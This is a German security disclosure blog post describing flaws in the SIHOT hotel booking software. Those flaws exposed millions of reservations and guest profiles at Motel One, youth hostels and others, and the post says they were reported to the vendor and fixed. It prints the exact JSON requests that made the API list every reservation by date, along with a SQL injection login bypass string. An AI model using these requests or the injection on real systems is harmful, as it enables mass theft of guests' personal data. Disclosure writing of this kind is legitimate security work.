Zum hauptinhalt springen

Suche Entspannung, finde Datenleck

Hotels stehen für Schlaf, Urlaub, Reisen – und wohl auch für Datenlecks. Erneut haben wir eine Sicherheitslücke bei einer Hotelsoftware gefunden, diesmal mit vielen Millionen Betroffenen aus den letzten 10 Jahren. Mit dabei: ein saarländischer Softwareanbieter, eine Münchner Motel-Kette und (wie immer) ein zählendes Zerforschi.

Die Kurzfassung vorab:
Wir haben eine Reihe von Sicherheitslücken in SIHOT.WEB und SIHOT.GO! gefunden, die Zugriff auf die Reservierungs- und Gästedaten im System erlaubten.

Betroffen waren unter anderem die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie “Fidelis” und “GSH”.

Dabei wären nach unserer Schätzung insgesamt mehr als 35,5 Mio. Reservierungen und 48,5 Mio. Gästeprofile abrufbar gewesen. Alleine bei Motel One hätten damit schätzungsweise über 30 Mio. Reservierungen und mehr als 40 Mio. Gästeprofile abgerufen werden können, darunter auch Spitzenpolitiker*innen.

Doch was genau ist passiert?

Guten Tag, welchen Datenhaufen haben Sie reserviert?

Wer Hotels managen will, hat viel zu tun: Gäste wollen eine Übernachtung buchen, irgendwann anreisen und einchecken, ein geputzes Zimmer betreten und sich ins bezogene Bett fallen lassen. Um das alles zu organisieren, gibt es digitale Verwaltungssoftware – wie die der GUBSE AG aus Schiffweiler im Saarland.

Die bieten mit SIHOT eine ganze Hotelmanagement-Software-Suite an, die aus vielen verschiedenen Teilen besteht. Dazu gehören auch die Buchungsplattform SIHOT.WEB, über die Gäste ein Zimmer buchen können und eine Web-App für die Gäste namens SIHOT.GO, damit man auch alles bequem auf dem Handy machen kann.

Mensch scrollt auf Telefon

Doch eine Hotelsoftware wäre nichts ohne Hotels, die sie nutzen. Und von denen kann SIHOT gleich eine ganze Reihe vorweisen: die DJH-Jugendherbergen in Mecklenburg-Vorpommern, Rheinland-Pfalz und dem Saarland, die Arbeiterwohlfahrtstochter AWO SANO, Motel One1, der DeHoGa-Campus und eine Reihe von Hotelketten mit Namen wie “Fidelis” und “GSH”.

In einem dieser Hotels wollte auch ein kleines, müdes Zerforschi 😴 übernachten und sich endlich mal erholen. Gesagt, getan und auf der Hotelwebsite in die Buchungsmaske geklickt, Zimmer ausgesucht, Name und Kreditkartendaten eingegeben und zack das wars auch schon.

Aber als gute Zerforschis haben wir natürlich schon laaaaaange vorher die Entwicklungstools unseres Browsers geöffnet 👩‍🔬. Die protokollieren unter anderem die ganze Zeit mit, welche Daten die Website an ihre Server sendet.

Denn uns interessiert stets, wie eine Software eigentlich gebaut ist, die wir nutzen.

Das ist ungefähr so wie kochbegeisterte Menschen durch die Welt gehen: Wer ein Essen besonders lecker findet, fragt auch mal im Restaurant nach, wie genau es zubereitet wurde. Genauso geht es IT-Interessierten, wenn sie unterwegs sind: Wie ist eigentlich die technische Umgebung gestaltet? Wie genau funktioniert dieses System? Und welche Sprache spricht dieser Server?

Kermit der Frosch, versucht verzweifelt einen Weg auf einer Papierkarte zu finden

Und so schauen wir uns auch dieses Mal um, was so passiert auf der Plattform von SIHOT. Die Buchungsseite ist meist eine unter booking.sihot.com gehostete Web-App. Dabei hat jede Hotel(kette) eine eigene Client-ID, die auch Bestandteil der URL ist – vollständig findet sich die Buchungsseite also unter https://booking.sihot.com/{CLIENT_ID}/client/. Um Informationen zu unserer Buchung abzurufen, kommuniziert die Website mit dem Buchungsserver über den API-Endpunkt https://booking.sihot.com/{CLIENT_ID}/dataServlet.

Mein Name ist forschi, ich checke hier ein

Wenn wir unsere Reservierung nochmal aufrufen (Frühstück wäre doch was Feines – schnell dazubuchen!), fragt die Website beim Server nach, welche Infos es denn zu unserer Reservierungsnummer gibt. Klar, wenn man ins Hotel geht, muss man ja auch seinen Namen sagen, damit die Mitarbeiter*innen an der Rezeption die Reservierung finden können. Wenn die Website nachfragt, sieht das etwa so aus (nur dass statt dem geschwärzten Block unsere Reservierungsnummer steht):

{
  "SIHOT_DOCUMENT": {
    "OC": "RES-SEARCH",
    "TN": 1,
    "ID": 1,
    "GDSNO": "█████████",
    "SCOPE": "NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT"
  }
}

Der Server antwortet dann brav mit allen Infos zu unserer Reservierung. Name, Check-In- und Check-Out-Datum, E-Mail-Adresse, Postadresse, Preis, Sonderwünsche, alles korrekt.

Beispielhafte, sehr lange, Antwort des Servers (Klicken zum Ausklappen)
{
	"SIHOT_Document": {
		"MSG": "",
		"SIHOT_Version": {
		"EXE": "S:\SIHOT\SINETRES.EXE",
		"Version": "1100.05.00.0244"
		},
		"RC": "0",
		"ARESLIST": {
		"RESERVATION":
			{
			"TAX_NUMBER1": "",
			"ZIP": "███",
			"PICKUP_NAME_DEPARTURE": "",
			"TAX_NUMBER2": "",
			"TAX_NUMBER3": "",
			"RES_NR": "██████",
			"PICKUP_ZIPCODE_ARRIVAL": "",
			"NAME_CORRESPONDENCE": "",
			"CANCELLATION_POLICY_DESC": "███████████",
			"EXT_KEY": "",
			"LAST_MOD": "██-█-█",
			"LAST_MOD_BY_RU": "███",
			"PICKUP_COMMENT_ARRIVAL": "",
			"PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
			"PICKUP_COMMENT_DEPARTURE": "",
			"DOB": "",
			"NIGHTS": "2",
			"PERSON": {
				"ZIP": "████",
				"ISO_LANG": "█",
				"PICKUP_NAME_DEPARTURE": "",
				"PICKUP_ZIPCODE_ARRIVAL": "",
				"NUMBEROFCHILDREN": "0",
				"NAME_CORRESPONDENCE": "",
				"IDENTIFICATION_NO": "",
				"PICKUP_COUNTRY_ARRIVAL": "",
				"FB_COMMENT": "",
				"PICKUP_AMOUNTADULTS_DEPARTURE": "0",
				"DOCUMENT_SUBNR": "",
				"PICKUP_TIME_DEPARTURE": "",
				"EMAIL": "███@████████",
				"PICKUP_COMMENT_ARRIVAL": "",
				"PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
				"PICKUP_COMMENT_DEPARTURE": "",
				"DOCUMENT_EXPEDITIONCOUNTRY": "",
				"NATION": "DE",
				"STATUS": "R",
				"COUNTRY": "DE",
				"PICKUP_PARAMETERS_ARRIVAL": "0",
				"DOB": "",
				"SALES_CATEGORY": "",
				"PLACE_OF_BIRTH": "",
				"ADDRESS_CORRESPONDENCE": "",
				"PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
				"PICKUP_ZIPCODE_DEPARTURE": "",
				"CENTRALGUEST_ID": "0",
				"ROOM_PERS_SEQ": "0",
				"MATCHCODE": "",
				"PICKUP_TYPE_ARRIVAL": "",
				"PICKUP_NAME_ARRIVAL": "",
				"INTERNET_PWD": "",
				"PICKUP_CITY_DEPARTURE": "",
				"NAME": "█████",
				"PICKUP_AMOUNTADULTS_ARRIVAL": "0",
				"PERS_TYPE": "██",
				"ADDRESS": "",
				"CAT": "██",
				"PICKUP_STREET_ARRIVAL": "",
				"RN": "",
				"ROOM_SEQ": "0",
				"PICKUP_TIME_ARRIVAL": "",
				"COUNTRY_CODE": "DE",
				"DOCUMENT_NUMBER": "",
				"NAME1X": "",
				"ARR": "██-█-█",
				"PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
				"DOCUMENT_SUBNR2": "",
				"PCAT": "██",
				"DOCUMENT_EXPIREDATE": "",
				"SEX": "0",
				"DOCUMENT_EXPEDITIONDATE": "",
				"PHONE": "49 ██████",
				"GUEST_TYPE": "1",
				"PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
				"STATE": "",
				"PICKUP_COUNTRY_DEPARTURE": "",
				"LANG": "DE",
				"EXT_REFERENCE": "███████",
				"COMMENT": "",
				"VOUCHERNUMBER": "",
				"PICKUP_PARAMETERS_DEPARTURE": "0",
				"T_SPECIAL_MEAL": "",
				"GUEST_BRACELET_CONSENT": "FALSE",
				"NUMBEROFPERSONS": "1",
				"PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
				"CREDITALLOWED": "TRUE",
				"PERS_ADDRESS": "",
				"DOCUMENT_TYPE": "",
				"PERS_RATE": {
				"R": "██",
				"ISDEFAULT": "Y",
				"QUANTITY": "1",
				"GUEST_RATE_TYPES": {
					"GUEST_RATE_TYPE": {
					"GUEST_RATE_TYPE_DESC": "█████████",
					"GUEST_RATE_TYPE_KEY": "████████"
					}
				},
				"RATE_SEGMENT": "",
				"DAYS": [
					{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
					},
					{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
					}
				],
				"ISPACKAGE": "Y",
				"ISPROTECTED": "N"
				},
				"COUNTRY_OF_BIRTH": "",
				"MATCHCODE_ADM": "",
				"MATCHCODE_SM": "",
				"PICKUP_TYPE_DEPARTURE": "",
				"PO_BOX": "",
				"PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
				"PICKUP_CITY_ARRIVAL": "",
				"STREET": "██████ ██",
				"NAME2": "████",
				"DEP": "██-█-█",
				"CITY": "█████",
				"CITY2": "",
				"INSURANCETYPE": "",
				"POST_AREA": "",
				"TITLE": "",
				"PICKUP_STREET_DEPARTURE": "",
				"FAX": "",
				"VIP": "",
				"VIP2": "",
				"KITCHEN_COMMENT": ""
			},
			"ADDRESS_CORRESPONDENCE": "",
			"PICKUP_ZIPCODE_DEPARTURE": "",
			"AEXTIDLIST": {
				"EXTID": [
				{
					"ID": "███████",
					"TYPE": "UIT_OTHER"
				},
				{
					"ID": "██████████",
					"TYPE": "UIT_TRAVEL_AGENT_PNR"
				}
				]
			},
			"NOROOMS": "1",
			"ROOMINGLIST_STATISTICS": {
				"PERSONNIGHTS": "2",
				"NOADULDS": "1",
				"NOCHILDSFREE": "0",
				"ROMMINGLISTISCOMPLETE": "Y",
				"NOADULDSFREE": "0",
				"ROOMNIGHTS": "2",
				"NOCHILDS": "0"
			},
			"SUB_NR": "1",
			"EMAIL2": "",
			"PICKUP_TYPE_ARRIVAL": "",
			"PICKUP_NAME_ARRIVAL": "",
			"EMAIL1": "███@████████",
			"ARR_TIME": "",
			"PROMOCODE": "",
			"TEC_COMMENT": "██████████████████████████████████████████",
			"CHANNEL": "",
			"PERS_TYPE": "█",
			"SALES_DATE": "██-█-█",
			"RATE_SEGMENT": "",
			"SOURCE": "█",
			"PICKUP_STREET_ARRIVAL": "",
			"PHONE2": "",
			"PHONE1": "49 ███████",
			"GUARANTEE_TYPE_DESC": "",
			"PICKUP_TIME_ARRIVAL": "",
			"COUNTRY_CODE": "DE",
			"GUARANTEE_TYPE": "",
			"DOCUMENT_NUMBER": "",
			"ARR": "██-█-█",
			"RT": "1",
			"INVOICE_EMAIL": "",
			"PCAT": "██",
			"DOCUMENT_SUBNR2": "",
			"DOCUMENT_EXPEDITIONDATE": "",
			"GUEST_TYPE": "1",
			"SEX": "█",
			"OBJID": "█████",
			"COMMENT": "███████████████",
			"PICKUP_PARAMETERS_DEPARTURE": "0",
			"CENTRAL_RESERVATION_ID": "0",
			"MOBIL2": "",
			"T_CALC_COMMISSION": "1",
			"DISABLE_DEPOSIT": "N",
			"MOBIL1": "",
			"NOPAX": "1",
			"PERS_ADDRESS": "",
			"OUTPUTCOUNTER": "0",
			"CANCELLATION_POLICY": "J",
			"GDSNO": "█████████████",
			"MATCHCODE_SM": "",
			"PO_BOX": "",
			"ALLOTMENT_NO": "0",
			"LAST_MOD_RU": "██-█-█",
			"STREET": "██████ ██",
			"NAME2": "████",
			"A_USERFIELD_LIST": "",
			"RES_HOTEL": "█",
			"COMMISSION": {
				"TOTAL": "0",
				"PC": "0",
				"SID": ""
			},
			"LAST_MOD_BY": "██",
			"NN2": "",
			"CITY": "██",
			"INSURANCETYPE": "",
			"PICKUP_STREET_DEPARTURE": "",
			"ISO_LANG": "de",
			"CREATION_TIME": "█:█:█",
			"IDENTIFICATION_NO": "",
			"PICKUP_COUNTRY_ARRIVAL": "",
			"GUEST_OBJID": "████",
			"PICKUP_AMOUNTADULTS_DEPARTURE": "0",
			"DOCUMENT_SUBNR": "",
			"PICKUP_TIME_DEPARTURE": "",
			"DISCOUNT_GROUP": "",
			"NATION": "DE",
			"DOCUMENT_EXPEDITIONCOUNTRY": "",
			"APERS_TYPE_LIST": {
				"PERS_TYPE": {
				"NO": "1",
				"TYPE": "█"
				}
			},
			"COUNTRY": "DE",
			"PICKUP_PARAMETERS_ARRIVAL": "0",
			"MEDIA": "█",
			"SALES_CATEGORY": "",
			"CREATED_BY": "███",
			"MARKETCODE": "██",
			"IS_LOCKED": "N",
			"PRICE": "██",
			"PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
			"CREATION_DATE": "██-█-█",
			"CENTRALGUEST_ID": "0",
			"MATCHCODE": "",
			"ASSIGNED_TO": "",
			"INTERNET_PWD": "",
			"PICKUP_CITY_DEPARTURE": "",
			"NAME": "███",
			"PICKUP_AMOUNTADULTS_ARRIVAL": "0",
			"CAT": "██",
			"POINTS_LIST": "",
			"ADDRESS": "",
			"NN": "",
			"OPTIONUNTIL": "",
			"NAME1X": "",
			"PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
			"DOCUMENT_EXPIREDATE": "",
			"ISOVERBOOKED": "N",
			"RATE": {
				"CURRENCY": "EUR",
				"R": "██",
				"ISDEFAULT": "Y",
				"PRICE": "██",
				"QUANTITY": "1",
				"GUEST_RATE_TYPES": {
				"GUEST_RATE_TYPE": {
					"GUEST_RATE_TYPE_DESC": "█████████",
					"GUEST_RATE_TYPE_KEY": "██████"
				}
				},
				"RATE_SEGMENT": "",
				"DAYS": [
				{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
				},
				{
					"PRICE_TOTAL": "██",
					"D": "██-█-█",
					"PRICE": "██"
				}
				],
				"ISPACKAGE": "Y",
				"PRICE_CUR": "██"
			},
			"PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
			"STATE": "",
			"PICKUP_COUNTRY_DEPARTURE": "",
			"EXT_REFERENCE": "",
			"LANG": "DE",
			"VOUCHERNUMBER": "",
			"WEB_PRE_CHECKIN": "N",
			"ISBUMPEDOUT": "N",
			"PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
			"INVOICEHOLDER_LIST": "",
			"DEFAULTPAYMENTTYPE": {
				"PAYMENTTYPE": "",
				"CCLIST": {
				"CCHANDLE": "",
				"CCNO": ""
				}
			},
			"DOCUMENT_TYPE": "",
			"DEP_TIME": "",
			"CURRENCY": "EUR",
			"T_POST_COMMISSION": "1",
			"PICKUP_TYPE_DEPARTURE": "",
			"T_TITLE": "",
			"PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
			"PICKUP_CITY_ARRIVAL": "",
			"DEP": "██-█-█",
			"FAX1": "",
			"CITY2": "",
			"FAX2": "",
			"EXTCOMMENT_C": "",
			"POST_AREA": "",
			"VIP": "",
			"VIP2": ""
			}
		},
		"OC": "RES-SEARCH",
		"TN": "████████████",
		"SIHOT_PROPERTY": {
		"UUID": "████-██-██-██-███████",
		"NAME": "█████████████████"
		}
	}
}

Doch wir sehen schnell, dass wir die Reservierungsnummer gar nicht bräuchten, denn der Endpunkt akzeptiert auch andere Suchparameter2.

Statt der Reservierungsnummer können wir auch angeben, wann wir in dem Hotel sind und bekommen… eine Liste aller Reservierungen an diesem Datum.

{
  "SIHOT_DOCUMENT": {
    "OC": "RES-SEARCH",
    "TN": 1,
    "ID": 1,
    "FROM": "2025-01-01",
    "TO": "2025-01-01",
    "SCOPE": "NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT"
  }
}

Das ist in etwa so als würden wir an der Hotel-Rezeption statt unserem Namen einfach selbstbewusst »Ich übernachte heute hier!« sagen und als Antwort bekämen wir einen großen Aktenordner mit allen Buchungen von heute. »Suchen sie sich kurz selbst Ihre Buchung raus, ja?«

Das heißt: Der Zugriff auf sämtliche im Buchungssystem gespeicherten Daten ist für alle Neugierigen mit grundlegendem technischen Verständnis möglich. Und zwar nicht nur für Buchungen, die direkt über die Buchungsplattform SIHOT.WEB gebucht wurden, sondern alle Buchungen, die das System kennt. Dort sind auch die Buchungen enthalten, die das Hotelpersonal selbst einträgt - aber auch Buchungen, die über Drittanbieter und Portale wie Expedia, Booking.com oder Reiseagenturen ins System gelangen.

Außerdem geht das nicht nur mit den Buchungen von heute, sondern viele Jahre zurück, teilweise sogar bis 2005.

FIXME

Würde uns in einem Hotel so bereitwillig der Reservierungsordner in die Hand gedrückt, würden wir vermutlich lautstark darauf hinweisen, dass die Rezeption eeetwas zu lax mit den Buchungsinfos umgeht. Und so machen wir es auch hier: Wir schreiben alles fein säuberlich auf und sagen der GUBSE AG, die diese Software entwickelt, Bescheid. So eine leicht zu findende und gleichzeitig gefährliche Sicherheitslücke sollte schließlich gar nicht existieren, aber jetzt auf jeden Fall schnell geschlossen werden.

Die Reaktion des Unternehmen kommt auch prompt: Nach weniger als 36 Stunden antwortet uns das Unternehmen, dankt für die Meldung und sagt, dass die Lücke bereits fast überall geschlossen ist und in wenigen Stunden überall geschlossen sein wird.

Wie sieht es wohl in den anderen Zimmern aus?

Eigentlich könnte unser Ausflug hier zu Ende sein: Wir sind mal wieder über eine Lücke gestolpert, haben sie gemeldet und der Hersteller hat sie behoben. Dann können wir uns ja jetzt wirklich endlich in unser Bett legen und entspannen, oder?

Leider nicht, denn das ist nicht die einzige Lücke bei SIHOT, über die wir gestolpert sind. Die Anderen gibt es jetzt im Schnelldurchlauf. 🏃💨

Und wer die gruseligen Details garnicht alle sehen will, kann hier zum Abschnitt danach springen

Wir sind Admin in Rheinland-Pfalz, dem Saarland und Berlin

Eine wohl ziemlich alte Version von SIHOT.WEB nutzen dieJugendherbergen, der Zusammenschluss der DJH-Jugendherbergen in Rheinland-Pfalz, dem Saarland - und Berlin-Ostkreuz.

Screenshot der dieJugendherbergen-Admin-Login-Seite, es wird nach Login und Passwort gefragt.

Diese Version ist nicht nur ziemlich alt, sondern auch reichlich unsicher. Durch eine SQL-Injection kann sich jede*r als Admin einloggen. Einfach als Login ' OR 1=1 -- ' sowie ein beliebiges Passwort eingeben und schon ist man erfolgreich angemeldet – und kann tun, was ein Admin halt so tun kann, nämlich: alles. So lassen sich auch dort Name, Adresse, E-Mail-Adresse, Telefonnummer, Preise und die Namen aller Gäste abrufen.

Nach der Meldung hat die GUBSE AG die Jugendherbergen über die Sicherheitslücke informiert und den verwundbaren Teil des Portals abgeschaltet.

Habt ihr nicht jemanden vergessen?

Das Unternehmen versichert uns, dass die Lücke in der Reservierungssuche überall geschlossen ist. Überall? Nein, ein kleines gallisches Dorf eine riesige Münchner Hotel-Kette ist weiter verwundbar.

Denn auch Motel One nutzt SIHOT.WEB. Zwar nutzt Motel One für die Online-Buchung ein anderes, moderner aussehendes System, doch unter https://paymentservice.motel-one.com/SIHOTWeb/client/ findet sich trotzdem eine SIHOT.WEB-Instanz, auf der die Lücken weiterhin bestehen. Mit gravierenden Auswirkungen: Nach unseren Schätzungen waren hier über 30 Mio. Reservierungen abrufbar.

Nachdem wir den Hersteller auch darauf hingewiesen haben, wurde die Lücke am nächsten Tag auch dort geschlossen.

Ich hätte gerne das gleiche Zimmer nochmal

Die Buchungsplattform SIHOT.WEB kommuniziert nicht nur über den Endpunkt dataServlet mit dem Server, sondern auch über einen zweiten Endpunkt namens reservationServlet. Die Anfragen an diesen sehen fast identisch aus, wie die an den dataServlet-Endpunkt. Und obwohl das Unternehmen uns versichert hat, dass die Lücke geschlossen sei, konnte die gleiche Anfrage hier erneut gestellt werden, wir mussten sie nur etwas mehr verpacken:

{
  "PMS_REQUEST": {
    "SIHOT_DOCUMENT": {
      "OC": "RES-SEARCH",
      "TN": 1,
      "ID": 1,
      "FROM": "2025-01-01",
      "TO": "2025-01-01",
    }
  },
  "OP_DATA": {
    "TOTAL": 0,
    "PAYMENT_TYPE": "",
    "ID": ""
  }
}

Und zurück kommt die gleiche Liste mit Reservierungen, mit den gleichen Daten, nur ebenfalls etwas mehr verpackt:

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)
{
  "TOKEN_RESPONSE": {
    "status": -1
  },
  "ONLINE_PAYMENT": {
    "amount": 0,
    "status": -1
  },
  "PAYMENT_REVERSE": {
    "rc": 0,
    "status": -1
  },
  "RESERVATION_RESPONSE": {
    "SIHOT_Document": {
      "MSG": "",
      "SIHOT_Version": {
        "EXE": "S:\SIHOT\SINETRES.EXE",
        "Version": "1100.05.00.0244"
      },
      "RC": "0",
      "ARESLIST": {
        "RESERVATION": [
          {
            "TAX_NUMBER1": "",
            "ZIP": "███",
            "PICKUP_NAME_DEPARTURE": "",
            "TAX_NUMBER2": "",
            "TAX_NUMBER3": "",
            "RES_NR": "██████",
            "PICKUP_ZIPCODE_ARRIVAL": "",
            "NAME_CORRESPONDENCE": "",
            "CANCELLATION_POLICY_DESC": "███████████",
            "EXT_KEY": "",
            "LAST_MOD": "██-█-█",
            "LAST_MOD_BY_RU": "███",
            "PICKUP_COMMENT_ARRIVAL": "",
            "PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
            "PICKUP_COMMENT_DEPARTURE": "",
            "DOB": "",
            "NIGHTS": "2",
            "PERSON": {
              "ZIP": "████",
              "ISO_LANG": "█",
              "PICKUP_NAME_DEPARTURE": "",
              "PICKUP_ZIPCODE_ARRIVAL": "",
              "NUMBEROFCHILDREN": "0",
              "NAME_CORRESPONDENCE": "",
              "IDENTIFICATION_NO": "",
              "PICKUP_COUNTRY_ARRIVAL": "",
              "FB_COMMENT": "",
              "PICKUP_AMOUNTADULTS_DEPARTURE": "0",
              "DOCUMENT_SUBNR": "",
              "PICKUP_TIME_DEPARTURE": "",
              "EMAIL": "███@████████",
              "PICKUP_COMMENT_ARRIVAL": "",
              "PICKUP_AMOUNTCHILDREN_DEPARTURE": "0",
              "PICKUP_COMMENT_DEPARTURE": "",
              "DOCUMENT_EXPEDITIONCOUNTRY": "",
              "NATION": "DE",
              "STATUS": "R",
              "COUNTRY": "DE",
              "PICKUP_PARAMETERS_ARRIVAL": "0",
              "DOB": "",
              "SALES_CATEGORY": "",
              "PLACE_OF_BIRTH": "",
              "ADDRESS_CORRESPONDENCE": "",
              "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
              "PICKUP_ZIPCODE_DEPARTURE": "",
              "CENTRALGUEST_ID": "0",
              "ROOM_PERS_SEQ": "0",
              "MATCHCODE": "",
              "PICKUP_TYPE_ARRIVAL": "",
              "PICKUP_NAME_ARRIVAL": "",
              "INTERNET_PWD": "",
              "PICKUP_CITY_DEPARTURE": "",
              "NAME": "█████",
              "PICKUP_AMOUNTADULTS_ARRIVAL": "0",
              "PERS_TYPE": "██",
              "ADDRESS": "",
              "CAT": "██",
              "PICKUP_STREET_ARRIVAL": "",
              "RN": "",
              "ROOM_SEQ": "0",
              "PICKUP_TIME_ARRIVAL": "",
              "COUNTRY_CODE": "DE",
              "DOCUMENT_NUMBER": "",
              "NAME1X": "",
              "ARR": "██-█-█",
              "PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
              "DOCUMENT_SUBNR2": "",
              "PCAT": "██",
              "DOCUMENT_EXPIREDATE": "",
              "SEX": "0",
              "DOCUMENT_EXPEDITIONDATE": "",
              "PHONE": "49 ██████",
              "GUEST_TYPE": "1",
              "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
              "STATE": "",
              "PICKUP_COUNTRY_DEPARTURE": "",
              "LANG": "DE",
              "EXT_REFERENCE": "███████",
              "COMMENT": "",
              "VOUCHERNUMBER": "",
              "PICKUP_PARAMETERS_DEPARTURE": "0",
              "T_SPECIAL_MEAL": "",
              "GUEST_BRACELET_CONSENT": "FALSE",
              "NUMBEROFPERSONS": "1",
              "PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
              "CREDITALLOWED": "TRUE",
              "PERS_ADDRESS": "",
              "DOCUMENT_TYPE": "",
              "PERS_RATE": {
                "R": "██",
                "ISDEFAULT": "Y",
                "QUANTITY": "1",
                "GUEST_RATE_TYPES": {
                  "GUEST_RATE_TYPE": {
                    "GUEST_RATE_TYPE_DESC": "█████████",
                    "GUEST_RATE_TYPE_KEY": "████████"
                  }
                },
                "RATE_SEGMENT": "",
                "DAYS": [
                  {
                    "PRICE_TOTAL": "██",
                    "D": "██-█-█",
                    "PRICE": "██"
                  },
                  {
                    "PRICE_TOTAL": "██",
                    "D": "██-█-█",
                    "PRICE": "██"
                  }
                ],
                "ISPACKAGE": "Y",
                "ISPROTECTED": "N"
              },
              "COUNTRY_OF_BIRTH": "",
              "MATCHCODE_ADM": "",
              "MATCHCODE_SM": "",
              "PICKUP_TYPE_DEPARTURE": "",
              "PO_BOX": "",
              "PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
              "PICKUP_CITY_ARRIVAL": "",
              "STREET": "██████ ██",
              "NAME2": "████",
              "DEP": "██-█-█",
              "CITY": "█████",
              "CITY2": "",
              "INSURANCETYPE": "",
              "POST_AREA": "",
              "TITLE": "",
              "PICKUP_STREET_DEPARTURE": "",
              "FAX": "",
              "VIP": "",
              "VIP2": "",
              "KITCHEN_COMMENT": ""
            },
            "ADDRESS_CORRESPONDENCE": "",
            "PICKUP_ZIPCODE_DEPARTURE": "",
            "AEXTIDLIST": {
              "EXTID": [
                {
                  "ID": "███████",
                  "TYPE": "UIT_OTHER"
                },
                {
                  "ID": "██████████",
                  "TYPE": "UIT_TRAVEL_AGENT_PNR"
                }
              ]
            },
            "NOROOMS": "1",
            "ROOMINGLIST_STATISTICS": {
              "PERSONNIGHTS": "2",
              "NOADULDS": "1",
              "NOCHILDSFREE": "0",
              "ROMMINGLISTISCOMPLETE": "Y",
              "NOADULDSFREE": "0",
              "ROOMNIGHTS": "2",
              "NOCHILDS": "0"
            },
            "SUB_NR": "1",
            "EMAIL2": "",
            "PICKUP_TYPE_ARRIVAL": "",
            "PICKUP_NAME_ARRIVAL": "",
            "EMAIL1": "███@████████",
            "ARR_TIME": "",
            "PROMOCODE": "",
            "TEC_COMMENT": "██████████████████████████████████████████",
            "CHANNEL": "",
            "PERS_TYPE": "█",
            "SALES_DATE": "██-█-█",
            "RATE_SEGMENT": "",
            "SOURCE": "█",
            "PICKUP_STREET_ARRIVAL": "",
            "PHONE2": "",
            "PHONE1": "49 ███████",
            "GUARANTEE_TYPE_DESC": "",
            "PICKUP_TIME_ARRIVAL": "",
            "COUNTRY_CODE": "DE",
            "GUARANTEE_TYPE": "",
            "DOCUMENT_NUMBER": "",
            "ARR": "██-█-█",
            "RT": "1",
            "INVOICE_EMAIL": "",
            "PCAT": "██",
            "DOCUMENT_SUBNR2": "",
            "DOCUMENT_EXPEDITIONDATE": "",
            "GUEST_TYPE": "1",
            "SEX": "█",
            "OBJID": "█████",
            "COMMENT": "███████████████",
            "PICKUP_PARAMETERS_DEPARTURE": "0",
            "CENTRAL_RESERVATION_ID": "0",
            "MOBIL2": "",
            "T_CALC_COMMISSION": "1",
            "DISABLE_DEPOSIT": "N",
            "MOBIL1": "",
            "NOPAX": "1",
            "PERS_ADDRESS": "",
            "OUTPUTCOUNTER": "0",
            "CANCELLATION_POLICY": "J",
            "GDSNO": "█████████████",
            "MATCHCODE_SM": "",
            "PO_BOX": "",
            "ALLOTMENT_NO": "0",
            "LAST_MOD_RU": "██-█-█",
            "STREET": "██████ ██",
            "NAME2": "████",
            "A_USERFIELD_LIST": "",
            "RES_HOTEL": "█",
            "COMMISSION": {
              "TOTAL": "0",
              "PC": "0",
              "SID": ""
            },
            "LAST_MOD_BY": "██",
            "NN2": "",
            "CITY": "██",
            "INSURANCETYPE": "",
            "PICKUP_STREET_DEPARTURE": "",
            "ISO_LANG": "de",
            "CREATION_TIME": "█:█:█",
            "IDENTIFICATION_NO": "",
            "PICKUP_COUNTRY_ARRIVAL": "",
            "GUEST_OBJID": "████",
            "PICKUP_AMOUNTADULTS_DEPARTURE": "0",
            "DOCUMENT_SUBNR": "",
            "PICKUP_TIME_DEPARTURE": "",
            "DISCOUNT_GROUP": "",
            "NATION": "DE",
            "DOCUMENT_EXPEDITIONCOUNTRY": "",
            "APERS_TYPE_LIST": {
              "PERS_TYPE": {
                "NO": "1",
                "TYPE": "█"
              }
            },
            "COUNTRY": "DE",
            "PICKUP_PARAMETERS_ARRIVAL": "0",
            "MEDIA": "█",
            "SALES_CATEGORY": "",
            "CREATED_BY": "███",
            "MARKETCODE": "██",
            "IS_LOCKED": "N",
            "PRICE": "██",
            "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": "0",
            "CREATION_DATE": "██-█-█",
            "CENTRALGUEST_ID": "0",
            "MATCHCODE": "",
            "ASSIGNED_TO": "",
            "INTERNET_PWD": "",
            "PICKUP_CITY_DEPARTURE": "",
            "NAME": "███",
            "PICKUP_AMOUNTADULTS_ARRIVAL": "0",
            "CAT": "██",
            "POINTS_LIST": "",
            "ADDRESS": "",
            "NN": "",
            "OPTIONUNTIL": "",
            "NAME1X": "",
            "PICKUP_AMOUNTBAGGAGE_DEPARTURE": "0",
            "DOCUMENT_EXPIREDATE": "",
            "ISOVERBOOKED": "N",
            "RATE": {
              "CURRENCY": "EUR",
              "R": "██",
              "ISDEFAULT": "Y",
              "PRICE": "██",
              "QUANTITY": "1",
              "GUEST_RATE_TYPES": {
                "GUEST_RATE_TYPE": {
                  "GUEST_RATE_TYPE_DESC": "█████████",
                  "GUEST_RATE_TYPE_KEY": "██████"
                }
              },
              "RATE_SEGMENT": "",
              "DAYS": [
                {
                  "PRICE_TOTAL": "██",
                  "D": "██-█-█",
                  "PRICE": "██"
                },
                {
